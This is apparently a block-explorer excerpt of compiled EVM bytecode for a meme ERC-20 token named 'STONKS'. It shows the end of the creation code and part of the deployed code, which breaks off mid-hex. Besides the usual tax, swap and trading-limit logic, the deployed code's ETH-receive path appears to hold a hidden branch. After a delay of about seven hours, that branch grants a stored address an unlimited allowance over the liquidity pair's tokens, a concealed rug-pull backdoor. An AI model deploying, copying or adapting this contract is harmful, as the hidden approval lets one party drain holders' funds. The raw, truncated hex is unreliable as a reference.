54906101000a900460ff16155b156114b057601054821115611440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143790612939565b60405180910390fd5b6011548261144d8561071a565b6114579190611e57565b1115611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f906129a1565b60405180910390fd5b600e5f8154809291906114aa906129bf565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561153857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561157c57611579606461156b600c54600e54116115585760085461155c565b600a545b85611c4290919063ffffffff16565b611cb990919063ffffffff16565b90505b5f6115863061071a565b905060158054906101000a900460ff161580156115ef575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116075750601560169054906101000a900460ff165b8015611614575060125481115b80156116235750600d54600e54115b1561165d576116456116408461163b84601354611d02565b611d02565b611971565b5f4790505f81111561165b5761165a47611bda565b5b505b505b5f81111561175e576116b78160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1a90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611755919061203c565b60405180910390a35b6117ae8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118516118058284611d7790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1a90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118f48486611d7790919063ffffffff16565b604051611901919061203c565b60405180910390a350505050565b5f838311158290611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194d9190611f14565b60405180910390fd5b505f83856119649190612a06565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119a7576119a6612a39565b5b6040519080825280602002602001820160405280156119d55781602001602082028036833780820191505090505b50905030815f815181106119ec576119eb612a66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ab49190612aa7565b81600181518110611ac857611ac7612a66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b2e3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dd8565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611b90959493929190612b89565b5f604051808303815f87803b158015611ba7575f80fd5b505af1158015611bb9573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c3e573d5f803e3d5ffd5b5050565b5f808303611c52575f9050611cb3565b5f8284611c5f91906122e3565b9050828482611c6e9190612c0e565b14611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca590612cae565b60405180910390fd5b809150505b92915050565b5f611cfa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc0565b905092915050565b5f818311611d105782611d12565b815b905092915050565b5f808284611d289190611e57565b905083811015611d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6490612d16565b60405180910390fd5b8091505092915050565b5f611db883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061190f565b905092915050565b5f8083118290611e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfd9190611f14565b60405180910390fd5b505f8385611e149190612c0e565b9050809150509392505050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e6182611e21565b9150611e6c83611e21565b9250828201905080821115611e8457611e83611e2a565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611ec1578082015181840152602081019050611ea6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611ee682611e8a565b611ef08185611e94565b9350611f00818560208601611ea4565b611f0981611ecc565b840191505092915050565b5f6020820190508181035f830152611f2c8184611edc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f6182611f38565b9050919050565b611f7181611f57565b8114611f7b575f80fd5b50565b5f81359050611f8c81611f68565b92915050565b611f9b81611e21565b8114611fa5575f80fd5b50565b5f81359050611fb681611f92565b92915050565b5f8060408385031215611fd257611fd1611f34565b5b5f611fdf85828601611f7e565b9250506020611ff085828601611fa8565b9150509250929050565b5f8115159050919050565b61200e81611ffa565b82525050565b5f6020820190506120275f830184612005565b92915050565b61203681611e21565b82525050565b5f60208201905061204f5f83018461202d565b92915050565b5f805f6060848603121561206c5761206b611f34565b5b5f61207986828701611f7e565b935050602061208a86828701611f7e565b925050604061209b86828701611fa8565b9150509250925092565b5f60ff82169050919050565b6120ba816120a5565b82525050565b5f6020820190506120d35f8301846120b1565b92915050565b5f602082840312156120ee576120ed611f34565b5b5f6120fb84828501611f7e565b91505092915050565b61210d81611f57565b82525050565b5f6020820190506121265f830184612104565b92915050565b5f806040838503121561214257612141611f34565b5b5f61214f85828601611f7e565b925050602061216085828601611f7e565b9150509250929050565b5f8160011c9050919050565b5f808291508390505b60018511156121bf5780860481111561219b5761219a611e2a565b5b60018516156121aa5780820291505b80810290506121b88561216a565b945061217f565b94509492505050565b5f826121d75760019050612292565b816121e4575f9050612292565b81600181146121fa576002811461220457612233565b6001915050612292565b60ff84111561221657612215611e2a565b5b8360020a91508482111561222d5761222c611e2a565b5b50612292565b5060208310610133831016604e8410600b84101617156122685782820a90508381111561226357612262611e2a565b5b612292565b6122758484846001612176565b9250905081840481111561228c5761228b611e2a565b5b81810290505b9392505050565b5f6122a382611e21565b91506122ae836120a5565b92506122db7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121c8565b905092915050565b5f6122ed82611e21565b91506122f883611e21565b925082820261230681611e21565b9150828204841483151761231d5761231c611e2a565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612358602083611e94565b915061236382612324565b602082019050919050565b5f6020820190508181035f8301526123858161234c565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6123c0601783611e94565b91506123cb8261238c565b602082019050919050565b5f6020820190508181035f8301526123ed816123b4565b9050919050565b5f819050919050565b5f819050919050565b5f61242061241b612416846123f4565b6123fd565b611e21565b9050919050565b61243081612406565b82525050565b5f60c0820190506124495f830189612104565b612456602083018861202d565b6124636040830187612427565b6124706060830186612427565b61247d6080830185612104565b61248a60a083018461202d565b979650505050505050565b5f815190506124a381611f92565b92915050565b5f805f606084860312156124c0576124bf611f34565b5b5f6124cd86828701612495565b93505060206124de86828701612495565b92505060406124ef86828701612495565b9150509250925092565b5f60408201905061250c5f830185612104565b612519602083018461202d565b9392505050565b61252981611ffa565b8114612533575f80fd5b50565b5f8151905061254481612520565b92915050565b5f6020828403121561255f5761255e611f34565b5b5f61256c84828501612536565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125cf602483611e94565b91506125da82612575565b604082019050919050565b5f6020820190508181035f8301526125fc816125c3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61265d602283611e94565b915061266882612603565b604082019050919050565b5f6020820190508181035f83015261268a81612651565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6126eb602583611e94565b91506126f682612691565b604082019050919050565b5f6020820190508181035f830152612718816126df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612779602383611e94565b91506127848261271f565b604082019050919050565b5f6020820190508181035f8301526127a68161276d565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612807602983611e94565b9150612812826127ad565b604082019050919050565b5f6020820190508181035f830152612834816127fb565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6128bb604983611e94565b91506128c68261283b565b606082019050919050565b5f6020820190508181035f8301526128e8816128af565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612923601983611e94565b915061292e826128ef565b602082019050919050565b5f6020820190508181035f83015261295081612917565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61298b601a83611e94565b915061299682612957565b602082019050919050565b5f6020820190508181035f8301526129b88161297f565b9050919050565b5f6129c982611e21565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036129fb576129fa611e2a565b5b600182019050919050565b5f612a1082611e21565b9150612a1b83611e21565b9250828203905081811115612a3357612a32611e2a565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612aa181611f68565b92915050565b5f60208284031215612abc57612abb611f34565b5b5f612ac984828501612a93565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b0481611f57565b82525050565b5f612b158383612afb565b60208301905092915050565b5f602082019050919050565b5f612b3782612ad2565b612b418185612adc565b9350612b4c83612aec565b805f5b83811015612b7c578151612b638882612b0a565b9750612b6e83612b21565b925050600181019050612b4f565b5085935050505092915050565b5f60a082019050612b9c5f83018861202d565b612ba96020830187612427565b8181036040830152612bbb8186612b2d565b9050612bca6060830185612104565b612bd7608083018461202d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612c1882611e21565b9150612c2383611e21565b925082612c3357612c32612be1565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c98602183611e94565b9150612ca382612c3e565b604082019050919050565b5f6020820190508181035f830152612cc581612c8c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d00601b83611e94565b9150612d0b82612ccc565b602082019050919050565b5f6020820190508181035f830152612d2d81612cf4565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636544756d624d6f6e657947616d6553746f70414d4357616c6c5374726565744265747350656e6e7953746f636b73a264697066735822122004f645551bc66e85cff6ca507859f530e9b7abe07b1e0435ade587e8c4739b1864736f6c63430008140033000000000000000000000000f1660e19f3052f1db7a77d689fa182e71c278a58

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb1461045f578063bf474bed1461049b578063c876d0b9146104c5578063c9567bf9146104ef578063dd62ed3e1461050557610215565b8063751039fc146103a15780637d1db4a5146103b75780638da5cb5b146103e15780638f9a55c01461040b57806395d89b411461043557610215565b806323b872dd116100e657806323b872dd146102d3578063313ce5671461030f57806351bc3c851461033957806370a082311461034f578063715018a61461038b57610215565b806306fdde0314610219578063095ea7b3146102435780630faee56f1461027f57806318160ddd146102a957610215565b3661021557616270600f5461012c9190611e57565b421115610213577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b005b5f80fd5b348015610224575f80fd5b5061022d610541565b60405161023a9190611f14565b60405180910390f35b34801561024e575f80fd5b5061026960048036038101906102649190611fbc565b610561565b6040516102769190612014565b60405180910390f35b34801561028a575f80fd5b5061029361057e565b6040516102a0919061203c565b60405180910390f35b3480156102b4575f80fd5b506102bd610584565b6040516102ca919061203c565b60405180910390f35b3480156102de575f80fd5b506102f960048036038101906102f49190612055565b6105a7565b6040516103069190612014565b60405180910390f35b34801561031a575f80fd5b5061032361067b565b60405161033091906120c0565b60405180910390f35b348015610344575f80fd5b5061034d610683565b005b34801561035a575f80fd5b50610375600480360381019061037091906120d9565b61071a565b604051610382919061203c565b60405180910390f35b348015610396575f80fd5b5061039f610760565b005b3480156103ac575f80fd5b506103b56108ae565b005b3480156103c2575f80fd5b506103cb6109f7565b6040516103d8919061203c565b60405180910390f35b3480156103ec575f80fd5b506103f56109fd565b6040516104029190612113565b60405180910390f35b348015610416575f80fd5b5061041f610a24565b60405161042c919061203c565b60405180910390f35b348015610440575f80fd5b50610449610a2a565b6040516104569190611f14565b60405180910390f35b34801561046a575f80fd5b5061048560048036038101906104809190611fbc565b610a67565b6040516104929190612014565b60405180910390f35b3480156104a6575f80fd5b506104af610a84565b6040516104bc919061203c565b60405180910390f35b3480156104d0575f80fd5b506104d9610a8a565b6040516104e69190612014565b60405180910390f35b3480156104fa575f80fd5b50610503610a9d565b005b348015610510575f80fd5b5061052b6004803603810190610526919061212c565b610d4f565b604051610538919061203c565b60405180910390f35b60606040518060600160405280602d8152602001612d5d602d9139905090565b5f61057461056d610dd1565b8484610dd8565b6001905092915050565b60135481565b5f6009600a6105939190612299565b633b9aca006105a291906122e3565b905090565b5f6105b3848484610f9b565b610670846105bf610dd1565b61066b85604051806060016040528060288152602001612d356028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610622610dd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461190f9092919063ffffffff16565b610dd8565b600190509392505050565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c3610dd1565b73ffffffffffffffffffffffffffffffffffffffff16146106e2575f80fd5b5f6106ec3061071a565b90505f811115610700576106ff81611971565b5b5f4790505f8111156107165761071581611bda565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610768610dd1565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb9061236e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108b6610dd1565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109399061236e565b60405180910390fd5b6009600a6109509190612299565b633b9aca0061095f91906122e3565b6010819055506009600a6109739190612299565b633b9aca0061098291906122e3565b6011819055505f600560146101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109d19190612299565b633b9aca006109e091906122e3565b6040516109ed919061203c565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600681526020017f53544f4e4b530000000000000000000000000000000000000000000000000000815250905090565b5f610a7a610a73610dd1565b8484610f9b565b6001905092915050565b60125481565b600560149054906101000a900460ff1681565b610aa5610dd1565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b289061236e565b60405180910390fd5b601560149054906101000a900460ff1615610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b78906123d6565b60405180910390fd5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bc93061071a565b5f80610bd36109fd565b426040518863ffffffff1660e01b8152600401610bf596959493929190612436565b60606040518083038185885af1158015610c11573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c3691906124a9565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cd69291906124f9565b6020604051808303815f875af1158015610cf2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d16919061254a565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3d906125e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eab90612673565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8e919061203c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100090612701565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e9061278f565b60405180910390fd5b5f81116110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b09061281d565b60405180910390fd5b5f6110c26109fd565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561113057506111006109fd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561165f576111716064611163600b54600e541161115057600754611154565b6009545b85611c4290919063ffffffff16565b611cb990919063ffffffff16565b9050600560149054906101000a900460ff16156112fa5760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611232575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112f9574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad906128d1565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113a3575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113f6575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114b057601054821115611440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143790612939565b60405180910390fd5b6011548261144d8561071a565b6114579190611e57565b1115611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f906129a1565b60405180910390fd5b600e5f8154809291906114aa906129bf565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561153857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561157c57611579606461156b600c54600e54116115585760085461155c565b600a545b85611c4290919063ffffffff16565b611cb990919063ffffffff16565b90505b5f6115863061071a565b905060158054906101000a900460ff161580156115ef575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116075750601560169054906101000a900460ff165b8015611614575060125481115b80156116235750600d54600e54115b1561165d576116456116408461163b84601354611d02565b611d02565b611971565b5f4790505f81111561165b5761165a47611bda565b5b505b505b5f81111561175e576116b78160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1a90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611755919061203c565b60405180910390a35b6117ae8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118516118058284611d7790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1a90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118f48486611d7790919063ffffffff16565b604051611901919061203c565b60405180910390a350505050565b5f838311158290611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194d9190611f14565b60405180910390fd5b505f83856119649190612a06565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119a7576119a6612a39565b5b6040519080825280602002602001820160405280156119d55781602001602082028036833780820191505090505b50905030815f815181106119ec576119eb612a66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ab49190612aa7565b81600181518110611ac857611ac7612a66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b2e3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dd8565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611b90959493929190612b89565b5f604051808303815f87803b158015611ba7575f80fd5b505af1158015611bb9573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c3e573d5f803e3d5ffd5b5050565b5f808303611c52575f9050611cb3565b5f8284611c5f91906122e3565b9050828482611c6e9190612c0e565b14611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca590612cae565b60405180910390fd5b809150505b92915050565b5f611cfa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc0565b905092915050565b5f818311611d105782611d12565b815b905092915050565b5f808284611d289190611e57565b905083811015611d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6490612d16565b60405180910390fd5b8091505092915050565b5f611db883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061190f565b905092915050565b5f8083118290611e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfd9190611f14565b60405180910390fd5b505f8385611e149190612c0e565b9050809150509392505050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e6182611e21565b9150611e6c83611e21565b9250828201905080821115611e8457611e83611e2a565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611ec1578082015181840152602081019050611ea6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611ee682611e8a565b611ef08185611e94565b9350611f00818560208601611ea4565b611f0981611ecc565b840191505092915050565b5f6020820190508181035f830152611f2c8184611edc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f6182611f38565b9050919050565b611f7181611f57565b8114611f7b575f80fd5b50565b5f81359050611f8c81611f68565b92915050565b611f9b81611e21565b8114611fa5575f80fd5b50565b5f81359050611fb681611f92565b92915050565b5f8060408385031215611fd257611fd1611f34565b5b5f611fdf85828601611f7e565b9250506020611ff085828601611fa8565b9150509250929050565b5f8115159050919050565b61200e81611ffa565b82525050565b5f6020820190506120275f830184612005565b92915050565b61203681611e21565b82525050565b5f60208201905061204f5f83018461202d565b92915050565b5f805f6060848603121561206c5761206b611f34565b5b5f61207986828701611f7e565b935050602061208a86828701611f7e565b925050604061209b86828701611fa8565b9150509250925092565b5f60ff82169050919050565b6120ba816120a5565b82525050565b5f6020820190506120d35f8301846120b1565b92915050565b5f602082840312156120ee576120ed611f34565b5b5f6120fb84828501611f7e565b91505092915050565b61210d81611f57565b82525050565b5f6020820190506121265f830184612104565b92915050565b5f806040838503121561214257612141611f34565b5b5f61214f85828601611f7e565b925050602061216085828601611f7e565b9150509250929050565b5f8160011c9050919050565b5f808291508390505b60018511156121bf5780860481111561219b5761219a611e2a565b5b60018516156121aa5780820291505b80810290506121b88561216a565b945061217f565b94509492505050565b5f826121d75760019050612292565b816121e4575f9050612292565b81600181146121fa576002811461220457612233565b6001915050612292565b60ff84111561221657612215611e2a565b5b8360020a91508482111561222d5761222c611e2a565b5b50612292565b5060208310610133831016604e8410600b84101617156122685782820a90508381111561226357612262611e2a565b5b612292565b6122758484846001612176565b9250905081840481111561228c5761228b611e2a565b5b81810290505b9392505050565b5f6122a382611e21565b91506122ae836120a5565b92506122db7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121c8565b905092915050565b5f6122ed82611e21565b91506122f883611e21565b925082820261230681611e21565b9150828204841483151761231d5761231c611e2a565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612358602083611e94565b915061236382612324565b602082019050919050565b5f6020820190508181035f8301526123858161234c565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6123c0601783611e94565b91506123cb8261238c565b602082019050919050565b5f6020820190508181035f8301526123ed816123b4565b9050919050565b5f819050919050565b5f819050919050565b5f61242061241b612416846123f4565b6123fd565b611e21565b9050919050565b61243081612406565b82525050565b5f60c0820190506124495f830189612104565b612456602083018861202d565b6124636040830187612427565b6124706060830186612427565b61247d6080830185612104565b61248a60a083018461202d565b979650505050505050565b5f815190506124a381611f92565b92915050565b5f805f606084860312156124c0576124bf611f34565b5b5f6124cd86828701612495565b93505060206124de86